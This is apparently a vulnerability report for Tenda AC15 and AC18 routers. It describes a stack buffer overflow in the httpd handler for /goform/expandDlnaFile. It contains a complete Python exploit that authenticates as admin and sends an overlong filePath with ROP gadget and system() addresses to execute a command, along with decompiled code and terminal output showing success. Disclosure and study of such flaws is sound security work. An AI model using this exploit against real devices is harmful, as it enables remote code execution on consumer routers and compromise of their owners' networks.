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Vuls / Tenda / AC / Vul_expandDlnaFile.md



1160300418 2 vuls found in Tenda

🕒 History

👤 1 contributor

☰ 68 lines (49 sloc) | 2.11 KB

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Vendor of the products: Tenda

Reported by: x.sunzh@gmail.com

Affected products: AC15 V15.03.05.19_multi, AC18 V15.03.05.19_multi

Overview

An issue was discovered on Tenda AC15 V15.03.05.19_multi and AC18 V15.03.05.19_multi devices. There is a buffer overflow vulnerability in the router's web server – httpd. While processing the `/goform/expandDlnaFile` filePath parameter for a post request, the value is directly used in a `sprintf` function and passed to a local variable placed on the stack, which can override the return address of the function. The attackers can construct a payload to carry out arbitrary code attacks.

Exp

```
import requests
from urllib import parse
from pwn import *

main_url = "http://127.0.0.1:80"
```

```

def login_success():
    global password
    url = main_url + "/login/Auth"
    s = requests.Session()
    s.verify = False
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = {"username": "admin", "password": "ce80adc6ed1ab2b7f2c85b5fdcd8bab"}
    data = parse.urlencode(data)

    response = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
    password = response.cookies.get_dict().get("password")
    print(response)
    if password is None:
        login_success()
    else:
        print(password)

def poc():
    url = main_url + "/goform/expandDlnaFile"

    cmd = b'echo yab....'
    libc_base = 0x40202000
    system_offset = 0x0005a270
    system_addr = libc_base + system_offset
    gadget1 = libc_base + 0x00018298
    gadget2 = libc_base + 0x00040cb8

    headers = {'Cookie': 'password=' + password}
    data = b'filePath='+ b'A' * (1074) + p32(gadget1) + p32(system_addr) + p32(gadget2)
    data = data.decode('latin1')
    print(len(data))
    response = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
    print(response)

if __name__ == "__main__":
    login_success()
    poc()

```

Vul Details

Code in httpd

```

40 v20 = 0;
41 i = 0;
42 v18 = (const char *)sub_2BA8C((int)a1, (int)"filePath", (int)&unk_F3A58);
43 v17 = sub_2BA8C((int)a1, (int)"folderGrade", (int)&unk_F3A58);
44 GetValue((int)"dlna.db", (int)v6);
45 sprintf(v8, "%s/%s", "/var/etc/upan", v18);
46 for ( i = v8; ; ++i )
47 {
48     i = strchr(i, 47);
49     if ( !i )

```

Attack effect

The screenshot shows a Kali Linux terminal window with two panes. The left pane displays the output of a C program, and the right pane shows the output of a curl command.

Left Pane Output:

```

root@kali:~/workspace/term
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
[mac_vendor_init : 141] mac vendor list init OK!
arp task start:
[VENDOR_DEBUG] check_vendor_network(131):Get host error!
vendor_task[171] check vendor network failed!
auto_discover.c.236,maincreate socket fail -1
auto_discover
init_core_dump 1816: rlim_cur = 5242880, rlim_max = 5242880
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
[mac_vendor_init : 141] mac vendor list init OK!
[VENDOR_DEBUG] check_vendor_network(131):Get host error!
vendor_task[171] check vendor network failed!
nms task start:
auto_discover.c.236,maincreate socket fail -1
auto_discover
init_core_dump 1816: rlim_cur = 5242880, rlim_max = 5242880
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
povok...e88adc6ed1ab2b7f2c85b5fcd8babcb
yab....
[mac_vendor_init : 141] mac vendor list init OK!
[VENDOR_DEBUG] check_vendor_network(131):Get host error!
vendor_task[171] check vendor network failed!
arp task start:
nms task start:
auto_discover.c.236,maincreate socket fail -1
httpd
init_core_dump 1816: rlim_cur = 5242880, rlim_max = 5242880
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
Yes:
***** WeLoveLinux*****
Welcome to ...
auto_discover
init_core_dump 1816: rlim_cur = 5242880, rlim_max = 5242880
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
create socket fail -1
[httpd[debug]] webs.c.157
httpd listen ip = 192.168.100.2 port = 80
webs: Listening for HTTP requests at address 192.168.100.2
[mac_vendor_init : 141] mac vendor list init OK!
[VENDOR_DEBUG] check_vendor_network(131):Get host error!
vendor_task[171] check vendor network failed!
arp task start:
nms task start:
auto_discover.c.236,maincreate socket fail -1

```

Right Pane Output:

```

root@kali: /home/fws/Tenda/AC15
root@kali: /home/fws/Tenda/AC15
root@kali: /home/fws/Tenda/AC15
python3 exp.py
<Response [302]>
ce88adc6ed1ab2b7f2c85b5fcd8babcbvacbv
0x4021a298 0x40242cb8
1107
<Response [200]>
root@kali: /home/fws/Tenda/AC15

```